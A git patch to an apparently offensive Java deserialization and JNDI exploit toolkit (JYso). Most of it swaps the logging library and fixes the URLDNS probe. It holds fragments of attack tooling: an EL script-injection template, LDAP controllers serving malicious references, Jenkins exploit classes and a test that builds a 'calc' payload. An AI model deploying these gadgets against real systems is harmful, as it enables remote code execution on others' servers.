From f393eeb2293a3f637cf65e8a2dbd62b7a1575ffc Mon Sep 17 00:00:00 2001 From: qi4l Date: Mon, 13 Apr 2026 20:37:00 +0800 Subject: [PATCH] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8Durldns=E9=93=BEbug?= =?UTF-8?q?=EF=BC=8C=E4=BF=AE=E5=A4=8D=E6=97=A5=E5=BF=97=E6=89=93=E5=8D=B0?= =?UTF-8?q?bug?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- build.gradle | 9 +++-- src/main/java/com/qi4l/JYso/LdapsServer.java | 6 ++-- .../JYso/controllers/BasicController.java | 7 ++-- .../controllers/ELProcessorController.java | 7 ++-- .../controllers/SerializedDataController.java | 6 ++-- .../JYso/controllers/jdbcController1.java | 14 ++++---- .../JYso/controllers/jdbcController2.java | 6 ++-- .../com/qi4l/JYso/exploit/JRMPListener.java | 6 ++-- .../com/qi4l/JYso/exploit/JenkinsCLI.java | 6 ++-- .../qi4l/JYso/exploit/JenkinsListener.java | 6 ++-- .../com/qi4l/JYso/exploit/JenkinsReverse.java | 6 ++-- .../qi4l/JYso/gadgets/Config/ysoserial.java | 6 ++-- .../qi4l/JYso/gadgets/JacksonLdapAttr.java | 6 ++-- .../java/com/qi4l/JYso/gadgets/URLDNS.java | 36 ++++++++++++------- .../java/com/qi4l/JYso/gadgets/springFs.java | 2 +- .../JYso/gadgets/utils/ClassByteChange.java | 6 ++-- .../com/qi4l/JYso/gadgets/utils/InjShell.java | 6 ++-- .../gadgets/utils/ThirdLibsClassLoader.java | 6 ++-- .../com/qi4l/JYso/gadgets/utils/Utils.java | 6 ++-- .../qi4l/JYso/gadgets/utils/jdk17Bypass.java | 6 ++-- .../gadgets/utils/jre/HandleContainer.java | 6 ++-- .../JYso/gadgets/utils/jre/Serialization.java | 6 ++-- .../qi4l/JYso/gadgets/utils/jre/TCObject.java | 6 ++-- .../UTF8OverlongObjectOutputStream.java | 6 ++-- .../java/com/example/demo/demos/web/Test.java | 2 +- 25 files changed, 102 insertions(+), 83 deletions(-) diff --git a/build.gradle b/build.gradle index f5ef186..298d05c 100644 --- a/build.gradle +++ b/build.gradle @@ -19,14 +19,20 @@ repositories { shadowJar { archiveClassifier = '' zip64 = true - minimize() +// minimize() manifest { attributes 'Main-Class': 'com.qi4l.JYso.Starter' } } +configurations.configureEach { + exclude group: 'ch.qos.logback', module: 'logback-classic' + exclude group: 'ch.qos.logback', module: 'logback-core' +} dependencies { + implementation 'org.apache.logging.log4j:log4j-api:2.20.0' + implementation 'org.apache.logging.log4j:log4j-core:2.20.0' implementation 'cn.hutool:hutool-all:5.7.7' implementation 'com.alibaba:fastjson:1.2.83' implementation 'com.alibaba.fastjson2:fastjson2:2.0.26' @@ -51,7 +57,6 @@ dependencies { implementation 'org.apache.commons:commons-collections4:4.0' implementation 'org.apache.commons:commons-lang3:3.12.0' implementation 'org.apache.commons:commons-text:1.8' - implementation 'org.apache.logging.log4j:log4j-core:2.14.1' implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0' implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9' implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58' diff --git a/src/main/java/com/qi4l/JYso/LdapsServer.java b/src/main/java/com/qi4l/JYso/LdapsServer.java index d823703..8b8253f 100644 --- a/src/main/java/com/qi4l/JYso/LdapsServer.java +++ b/src/main/java/com/qi4l/JYso/LdapsServer.java @@ -7,13 +7,13 @@ import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.util.ssl.KeyStoreKeyManager; import com.unboundid.util.ssl.SSLUtil; import com.unboundid.util.ssl.TrustAllTrustManager; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import static org.fusesource.jansi.Ansi.ansi; public class LdapsServer { - private static final Logger log = LoggerFactory.getLogger(LdapsServer.class); + private static final Logger log = LogManager.getLogger(LdapsServer.class); private final String certFile; private final String keyPass; diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java index c80222c..4d45fdd 100644 --- a/src/main/java/com/qi4l/JYso/controllers/BasicController.java +++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java @@ -4,6 +4,7 @@ import com.qi4l.JYso.enumtypes.GadgetType; import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.URLDNS; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; @@ -12,8 +13,8 @@ import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import java.net.URL; import java.nio.charset.StandardCharsets; @@ -25,7 +26,7 @@ import static org.fusesource.jansi.Ansi.ansi; @LdapMapping(uri = {"/basic"}) public class BasicController implements LdapController { - private static final Logger log = LoggerFactory.getLogger(BasicController.class); + private static final Logger log = LogManager.getLogger(BasicController.class); private static String payloadType; // 用于对外提供动态字节码的 HTTP 服务器基础路径。 private final String codebase = Config.codeBase; diff --git a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java index fabc39f..b7a7686 100644 --- a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java +++ b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java @@ -4,6 +4,7 @@ import com.qi4l.JYso.enumtypes.GadgetType; import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.URLDNS; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.InjShell; import com.qi4l.JYso.gadgets.utils.Utils; @@ -14,8 +15,8 @@ import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.apache.naming.ResourceRef; import org.fusesource.jansi.Ansi; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import javax.naming.StringRefAddr; import java.lang.reflect.Field; @@ -29,7 +30,7 @@ public class ELProcessorController implements LdapController { private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"%s\")}"; - private static final Logger log = LoggerFactory.getLogger(ELProcessorController.class); + private static final Logger log = LogManager.getLogger(ELProcessorController.class); private String payloadType; // 记录解析请求时提取出的命令参数或回连信息。 diff --git a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java index ca83716..9635855 100644 --- a/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java +++ b/src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java @@ -13,8 +13,8 @@ import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.fusesource.jansi.Ansi; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import java.io.ByteArrayOutputStream; import java.util.Base64; @@ -23,7 +23,7 @@ import static com.qi4l.JYso.gadgets.Config.Config.BCEL1; @LdapMapping(uri = {"/deserialization"}) public class SerializedDataController implements LdapController { - private static final Logger log = LoggerFactory.getLogger(SerializedDataController.class); + private static final Logger log = LogManager.getLogger(SerializedDataController.class); public static String gadgetType; public static String cmd11; public static GadgetType gadgetType1; diff --git a/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java b/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java index 06ec0b3..b5e63ea 100644 --- a/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java +++ b/src/main/java/com/qi4l/JYso/controllers/jdbcController1.java @@ -9,14 +9,14 @@ import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.fusesource.jansi.Ansi; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; @LdapMapping(uri = {"/jdbc1"}) public class jdbcController1 implements LdapController { - private static final Logger log = LoggerFactory.getLogger(jdbcController1.class); - private static String payloadType; + private static final Logger log = LogManager.getLogger(jdbcController1.class); + private static String driverq; private static String factoryType; private static String[] params; @@ -29,8 +29,8 @@ public class jdbcController1 implements LdapController { if (secondIndex < 0) secondIndex = base.length(); try { - payloadType = base.substring(fistIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset()); + driverq = base.substring(fistIndex + 1, secondIndex); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset()); } catch (IllegalArgumentException e) { throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); } @@ -66,7 +66,7 @@ public class jdbcController1 implements LdapController { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { try { Entry e = new Entry(base); - String driver = payloadType; + String driver = driverq; String JDBC_URL = params[0]; e.addAttribute("objectClass", "javaNamingReference"); diff --git a/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java b/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java index 60fb439..d5bd835 100644 --- a/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java +++ b/src/main/java/com/qi4l/JYso/controllers/jdbcController2.java @@ -9,8 +9,8 @@ import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.fusesource.jansi.Ansi; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import javax.naming.RefAddr; import javax.naming.Reference; @@ -20,7 +20,7 @@ import java.util.Enumeration; @LdapMapping(uri = {"/jdbc2"}) public class jdbcController2 implements LdapController { - private static final Logger log = LoggerFactory.getLogger(jdbcController2.class); + private static final Logger log = LogManager.getLogger(jdbcController2.class); private static String payloadType; private static String factoryType; private static String[] params; diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java index 0fc562b..d4c0dc6 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java @@ -5,8 +5,8 @@ import com.qi4l.JYso.gadgets.utils.Reflections; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import sun.rmi.transport.TransportConstants; import javax.management.BadAttributeValueExpException; @@ -31,7 +31,7 @@ import java.util.Arrays; }) public class JRMPListener implements Runnable { - private static final Logger log = LoggerFactory.getLogger(JRMPListener.class); + private static final Logger log = LogManager.getLogger(JRMPListener.class); private final int port; private final Object payloadObject; diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java index 8929583..eaba19e 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java @@ -6,8 +6,8 @@ import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; import hudson.remoting.ChannelBuilder; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import javax.net.SocketFactory; import java.io.DataOutputStream; @@ -33,7 +33,7 @@ import java.util.concurrent.Executors; */ public class JenkinsCLI { - private static final Logger log = LoggerFactory.getLogger(JenkinsCLI.class); + private static final Logger log = LogManager.getLogger(JenkinsCLI.class); public static void main(final String[] args) throws Exception { if (args.length < 5) { diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java index ec89c00..dc47953 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java @@ -6,8 +6,8 @@ import com.qi4l.JYso.gadgets.utils.Reflections; import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.JarLoader; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import sun.rmi.server.Util; import sun.rmi.transport.TransportConstants; @@ -45,7 +45,7 @@ import java.rmi.activation.ActivationInstantiator; }) public class JenkinsListener { - private static final Logger log = LoggerFactory.getLogger(JenkinsListener.class); + private static final Logger log = LogManager.getLogger(JenkinsListener.class); public static void main(final String[] args) { diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java index 2b51e64..92528c2 100644 --- a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java @@ -3,8 +3,8 @@ package com.qi4l.JYso.exploit; import com.qi4l.JYso.gadgets.Config.ysoserial; import com.qi4l.JYso.gadgets.JRMPClient; import hudson.remoting.Channel; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import java.io.IOException; import java.net.InetSocketAddress; @@ -24,7 +24,7 @@ import java.util.Random; */ public class JenkinsReverse { - private static final Logger log = LoggerFactory.getLogger(JenkinsReverse.class); + private static final Logger log = LogManager.getLogger(JenkinsReverse.class); public static void main(final String[] args) throws Exception { if (args.length < 4) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java index f12a222..3e93b9f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/ysoserial.java @@ -7,8 +7,8 @@ import com.qi4l.JYso.gadgets.utils.Serializer; import com.qi4l.JYso.gadgets.utils.StringUtil; import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper; import org.apache.commons.cli.*; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import java.io.ByteArrayOutputStream; import java.io.OutputStream; @@ -21,7 +21,7 @@ import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit; public class ysoserial { - private static final Logger log = LoggerFactory.getLogger(ysoserial.class); + private static final Logger log = LogManager.getLogger(ysoserial.class); public static CommandLine cmdLine; public static Object PAYLOAD = null; diff --git a/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java b/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java index 1739399..c5b04b1 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java +++ b/src/main/java/com/qi4l/JYso/gadgets/JacksonLdapAttr.java @@ -4,8 +4,8 @@ import com.fasterxml.jackson.databind.node.POJONode; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import javax.management.BadAttributeValueExpException; import javax.naming.CompositeName; @@ -15,7 +15,7 @@ import java.lang.reflect.Field; @SuppressWarnings({"rawtypes", "unchecked","unused"}) public class JacksonLdapAttr implements ObjectPayload { - private static final Logger log = LoggerFactory.getLogger(JacksonLdapAttr.class); + private static final Logger log = LogManager.getLogger(JacksonLdapAttr.class); @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java index 8869e6a..17b9b8b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java +++ b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java @@ -2,6 +2,8 @@ package com.qi4l.JYso.gadgets; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; import java.lang.reflect.Field; import java.net.URL; @@ -38,6 +40,7 @@ import java.util.List; @Dependencies() @Authors({Authors.GEBL}) public class URLDNS implements ObjectPayload { + private static final Logger log = LogManager.getLogger(URLDNS.class); public static String[] defaultClass = new String[]{ "CommonsCollections13567", "CommonsCollections24", @@ -534,19 +537,30 @@ public class URLDNS implements ObjectPayload { break; case "winlinux": //windows/linux版本判断 - Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData"); - Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer"); - Object linux1 = getURLDNSGadget("linux." + dnsLog, "java.io.UnixFileSystem"); - Object windows1 = getURLDNSGadget("windows." + dnsLog, "java.io.WinNTFileSystem"); - list.add(linux); - list.add(windows); - list.add(linux1); - list.add(windows1); + + String os = System.getProperty("os.name").toLowerCase(); + String fsClass; + + if (os.contains("win")) { + Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData"); + Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer"); + list.add(linux); + list.add(windows); + } else { + Object linux1 = getURLDNSGadget("linux1." + dnsLog, "java.io.UnixFileSystem"); + Object windows1 = getURLDNSGadget("windows1." + dnsLog, "java.io.WinNTFileSystem"); + list.add(linux1); + list.add(windows1); + } break; case "all": - for (String aClass : defaultClass) { - setList(aClass, dnsLog); + try { + for (String aClass : defaultClass) { + setList(aClass, dnsLog); + } + } catch (Exception e) { + log.error("e: ", e); } break; default: @@ -583,7 +597,6 @@ public class URLDNS implements ObjectPayload { case "db": setList("db", url); break; - // all 会测试全部类 case "jndiAttack": setList("jndiAttack", url); break; @@ -602,7 +615,6 @@ public class URLDNS implements ObjectPayload { case "null": return getURLDNSGadget(url, null); - // 默认指定类 default: setList(tYPE, url); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/springFs.java b/src/main/java/com/qi4l/JYso/gadgets/springFs.java index 089a93c..1254d6d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/springFs.java +++ b/src/main/java/com/qi4l/JYso/gadgets/springFs.java @@ -28,7 +28,7 @@ import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; @SuppressWarnings({"rawtypes", "unchecked","unused"}) public class springFs implements ObjectPayload, Serializable { public static ClassPool pool = ClassPool.getDefault(); - // jdk7下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17) + // jdk17下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17) public String toString = "badAttributeValueExpException"; // 低版本Spring-beans <5.3 -8835275493235412717 // 高版本Spring-beans >=5.3 -1515767093960859525" diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java index b7c502a..4ce46aa 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java @@ -2,8 +2,8 @@ package com.qi4l.JYso.gadgets.utils; import com.qi4l.JYso.gadgets.Config.Config; import javassist.*; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import java.io.File; import java.io.IOException; @@ -13,7 +13,7 @@ import java.nio.file.Paths; public class ClassByteChange { - private static final Logger log = LoggerFactory.getLogger(ClassByteChange.class); + private static final Logger log = LogManager.getLogger(ClassByteChange.class); public static void main(String[] args) { try { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java index 4e3dfef..d070836 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java @@ -2,14 +2,14 @@ package com.qi4l.JYso.gadgets.utils; import com.qi4l.JYso.gadgets.Config.Config; import javassist.*; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import static com.qi4l.JYso.gadgets.Config.Config.POOL; public class InjShell { - private static final Logger log = LoggerFactory.getLogger(InjShell.class); + private static final Logger log = LogManager.getLogger(InjShell.class); // 恶心一下人，实际没用 public static String converString(String target) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java index a1d0b13..d0050aa 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ThirdLibsClassLoader.java @@ -8,14 +8,14 @@ import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; @SuppressWarnings({"rawtypes", "unchecked","unused"}) public class ThirdLibsClassLoader extends URLClassLoader { public static final String thirdLibDir = "chains-config/third-libs"; private static final String commonDir = "common"; - private static final Logger log = LoggerFactory.getLogger(ThirdLibsClassLoader.class); + private static final Logger log = LogManager.getLogger(ThirdLibsClassLoader.class); private static ThirdLibsClassLoader INSTANCE = null; private static boolean initialized = false; private static Map pluginClassLoaderMap = new HashMap(); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java index 6664593..fd3e6c9 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java @@ -5,8 +5,8 @@ import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.codec.binary.Base64; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import java.io.*; import java.lang.reflect.Field; @@ -28,7 +28,7 @@ import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.shrinkBytes; @SuppressWarnings({"unused"}) public class Utils { - private static final Logger log = LoggerFactory.getLogger(Utils.class); + private static final Logger log = LogManager.getLogger(Utils.class); public static Map createMap(final String key, final Object val) { final Map map = new HashMap<>(); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java index 84e9bf9..6b126b4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java @@ -1,7 +1,7 @@ package com.qi4l.JYso.gadgets.utils; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import sun.misc.Unsafe; import java.lang.reflect.Field; @@ -10,7 +10,7 @@ import java.util.ArrayList; @SuppressWarnings({"unused"}) public class jdk17Bypass { - private static final Logger log = LoggerFactory.getLogger(jdk17Bypass.class); + private static final Logger log = LogManager.getLogger(jdk17Bypass.class); private static Method getMethod(Class clazz, String methodName, Class[] params) { Method method = null; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java index 6dab673..31c0527 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/HandleContainer.java @@ -1,13 +1,13 @@ package com.qi4l.JYso.gadgets.utils.jre; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class HandleContainer { - private static final Logger log = LoggerFactory.getLogger(HandleContainer.class); + private static final Logger log = LogManager.getLogger(HandleContainer.class); private static Method lookup; private static Method assign; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java index af0aafc..8688bb7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/Serialization.java @@ -2,8 +2,8 @@ package com.qi4l.JYso.gadgets.utils.jre; import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import java.io.*; import java.lang.reflect.Field; @@ -13,7 +13,7 @@ import java.util.ArrayList; import java.util.List; public class Serialization { - private static final Logger log = LoggerFactory.getLogger(Serialization.class); + private static final Logger log = LogManager.getLogger(Serialization.class); private final List objects = new ArrayList<>(); private Object handle; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java index ffd3b4b..25be340 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jre/TCObject.java @@ -1,14 +1,14 @@ package com.qi4l.JYso.gadgets.utils.jre; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import java.io.DataOutputStream; import java.util.ArrayList; import java.util.List; public class TCObject extends ReferencableObject implements SerializedElement { - private static final Logger log = LoggerFactory.getLogger(TCObject.class); + private static final Logger log = LogManager.getLogger(TCObject.class); private final Serialization ser; private final List descData; diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java index e7dade5..970a3f4 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java @@ -1,8 +1,8 @@ package com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding; import com.qi4l.JYso.gadgets.utils.Reflections; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.LogManager; import java.io.*; import java.lang.reflect.Field; @@ -10,7 +10,7 @@ import java.lang.reflect.Method; import java.util.HashMap; public class UTF8OverlongObjectOutputStream extends ObjectOutputStream { - private static final Logger log = LoggerFactory.getLogger(UTF8OverlongObjectOutputStream.class); + private static final Logger log = LogManager.getLogger(UTF8OverlongObjectOutputStream.class); public static HashMap map = new HashMap() {{ put('.', new int[]{0xc0, 0xae}); put(';', new int[]{0xc0, 0xbb}); diff --git a/src/test/java/com/example/demo/demos/web/Test.java b/src/test/java/com/example/demo/demos/web/Test.java index 728e18a..f303d1b 100644 --- a/src/test/java/com/example/demo/demos/web/Test.java +++ b/src/test/java/com/example/demo/demos/web/Test.java @@ -8,7 +8,7 @@ import java.util.Base64; public class Test { public static void main(String[] args) throws Exception { - final Class payloadClass = ObjectPayload.Utils.getPayloadClass("jackson3"); + final Class payloadClass = ObjectPayload.Utils.getPayloadClass("cck3"); ObjectPayload payload = payloadClass.newInstance(); Object object = payload.getObject("calc"); //EX-MS-SpringInterceptorMS-gz